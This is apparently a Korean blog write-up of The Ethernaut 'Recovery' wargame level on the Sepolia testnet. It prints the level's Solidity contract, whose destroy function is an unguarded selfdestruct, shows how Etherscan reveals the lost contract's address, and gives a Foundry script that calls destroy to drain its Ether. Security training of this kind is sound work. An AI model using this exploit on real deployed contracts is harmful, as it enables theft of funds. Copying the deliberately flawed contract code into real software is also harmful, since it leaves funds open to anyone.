728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
문제내용은 다음과 같다.
미리 배포해둔 컨트랙트의 주소를 잃어버렸다고 한다.
해당 컨트랙트에는 0.001 Ether를 담아놨으며 해당 잔고를 0으로 만들거나 destroy하면 된다.
먼저 해당 컨트랙트 주소를 찾기 위해 etherscan을 찾아봤다.
https://sepolia.etherscan.io/address/0x38435FbD27829FE30b25B28fE0a950AE86596568#internaltx
instance 주소로 들어가보면 More Info 부분에 CREATOR를 발견할 수 있고 해당 txn으로 들어가봤다.
Level address에서 0.001 Ether를 0x5951.... 주소에 옮긴거를 확인 가능하고 해당 주소를 보면은 0.001 Ether가 잔고로 남아있는걸 확인 가능하다.
원래 ETH BALANCE 에 0.001 떠야하는데 지금은 클리어 해버려서 0인 상태이다.
해당 컨트랙트 주소를 찾았으니 해당 주소로 SimpleToken을 만들어서 destroy해버리면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/recovery.sol";
contract RecoverySolve is Script {
Recovery public target;
function setUp() external{
address payable targetAddress = payable(0x38435FbD27829FE30b25B28fE0a950AE86596568);
target = Recovery(targetAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
target.generateToken("hi", 1 ether);
SimpleToken simpleToken = SimpleToken(payable(0x5951388fAB096aCEDee125cFCd18c09FAB9Da947));
simpleToken.destroy(payable(0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C));
vm.stopBroadcast();
}
}
SimpleToken simpleToken = SimpleToken(payable(0x5951388fAB096aCEDee125cFCd18c09FAB9Da947));
을 사용하면 해당 주소의 컨트랙트와 상호작용하기 위한 인터페이스를 연결 가능하다.
즉 배포된 컨트랙트에 연결하는 것이다.
그리고 destory로 파괴시키면 끝이다.
또는 nonce를 통해 직접 계산할수도 있다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Alien Codex (0) | 2025.02.03 |
---|---|
[The Ethernaut] Magic Number (0) | 2025.02.02 |
[The Ethernaut] Preservation (0) | 2025.02.02 |
[The Ethernaut] Naught Coin (0) | 2025.02.02 |
[The Ethernaut] Gatekeepr Two (0) | 2025.01.31 |